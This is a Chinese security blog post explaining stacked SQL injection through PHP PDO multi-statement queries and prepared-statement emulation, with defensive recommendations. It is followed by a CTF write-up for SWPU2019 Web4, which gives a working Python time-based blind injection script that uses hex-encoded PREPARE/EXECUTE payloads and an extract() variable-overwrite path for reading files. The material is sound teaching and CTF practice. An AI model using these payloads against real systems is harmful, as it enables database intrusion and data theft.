PDO场景下的SQL注入

18 篇文章 0 订阅

0x01 PDO:

PDO(PHP Data Objects)是PHP数据对象的2缩写,是一种在PHP里连接数据库的使用接口。PDO与mysqli曾经被建议用来取代原本PHP在用的mysql相关函数,基于数据库使用的安全性,因为后者欠缺对于SQL注入的防护。请添加图片描述

0x01 PDO的特点

1,编码的一致性
由于PHP可用的各种数据库扩展是由不同发行者编写的,所以尽管所有的扩展都提供了基本相同的特性,却不满足编码的一致性。PDO消除了这种不一致,提供了可用于各种数据库的单一接口;
2.灵活性
因为PDO在运行时加载必须的数据库驱动程序,所以不需要在每次使用不同数据库时重新配置和重新编译PHP。举例来说,如果数据库需要从SQL转换为MySQL,那么您只需装入PDO_MYSQL驱动程序。
3.面向对象特性
PDO利用PHP5的面向对象特性,可以获得更强大、更高效的数据库通信。
4.高性能
PDO是用C编写的,编译为PHP,与用PHP编写的其他解决方案相比,虽然其他都相同,但提供了更高的性能。

PDO随着PHP5.1发行,在PHP5.0的PECL扩展中也可以使用,无法运行于之前的php版本,

0x02 PDO多语句执行

PHP连接MySQL数据库有三种方式(MySQL、Mysqli、PDO),同时官方对三者也做了列表性比较:
在这里插入图片描述
可以看到Mysqli和PDO是都是支持多语句执行的
呢么他们的区别是什么呢:

Mysqli通过multi_query()函数来进行多语句执行。
<?php
$host='192.168.27.61';
$dbName='test';
$user='root';
$pass='root';
$mysqli = mysqli_connect($host,$user,$pass,$dbName);
if(mysqli_connect_errno())
{
   echo mysqli_connect_error();
}
$sql = "select * from user where id=1;";
$sql .= "create table test2 like user";
$mysqli->multi_query($sql);
$data = $mysqli->store_result();
print_r($data->fetch_row());
mysqli_close($mysqli);

请求脚本后发现数据库中成功创建了test2表,说明多语句成功执行

PDO通过query()函数同数据库交互
<?php
$dbms='mysql';
$host='192.168.27.61';
$dbName='test';
$user='root';
$pass='root';
$dsn="$dbms:host=$host;dbname=$dbName";
try {
     $pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {
     echo $e;
}
$sql = "select * from user where id=1;";
$sql .= "create table test2 like user";
$stmt = $pdo->query($sql);
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
    var_dump($row);
    echo "<br>";
}

PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入,如果想禁止多语句执行,可在创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false

new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))

0x03 MySQL预处理

MySQL数据库支持预处理,预处理或者说是可传参的语句用来高效的执行重复的语句。
MySQL官方将prepare、execute、deallocate统称为PREPARE STATEMENT
预制语句的SQL语法基于三个SQL语句:
prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] …];
{deallocate | drop} prepare stmt_name;

0x04 PDO预处理

PDO分为模拟预处理和非模拟预处理。
模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。

非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。

0x05 总结

1, 使用PDO时尽量使用非模拟预处理。
2, 创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false,禁止多语句查询。
3, SQL语句模板不使用变量动态拼接生成

0x02 [SWPU2019]Web4

0x01 通过mysql预处理与十六进制绕过过滤来过滤脚本

#author: c1e4r
import requests
import json
import time
 
def main():
    #题目地址
    url = '''http://ed59e513-784d-42b5-81d0-2c4dc976d086.node3.buuoj.cn/index.php?r=Login/Index'''
    #注入payload
    payloads = "admin';set @a=0x{0};prepare b from @a;execute b--+"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break
 
def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])
 
if __name__ == '__main__':
    main()
源码在/glzjin_wants_a_girl_friend.zip

0x02 代码审计:

前端应用逻辑的基础在 controller,其他文件都是基于 basecontroller.php

     private $viewPath;
     public function loadView($viewName ='', $viewData = [])
     {
         $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
         if(file_exists($this->viewPath))
         {
             extract($viewData);
             include $this->viewPath;
         }
     }
     
 }

extract 传入 viewdata 数组造成变量覆盖,发现利用 loadView 方法的并且第二个元素可控的地方只有 UserController.php

 public function actionIndex()
     {
         $listData = $_REQUEST;
         $this->loadView('userIndex',$listData);
     }

在Controller/UserController.php中,找到可控制的参数直接来源于_REQUEST。

<div class="fakeimg"><?php
  if(!isset($img_file)) {
  $img_file = '/../favicon.ico';
  }
  $img_dir = dirname(__FILE__) . $img_file;
  $img_base64 = imgToBase64($img_dir);
  echo '<img src="' . $img_base64 . '">';       //图片形式展示
  ?></div>

这里的$img_file的值可利用前面的逻辑进行覆盖,传入img_file=./…/flag.php

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值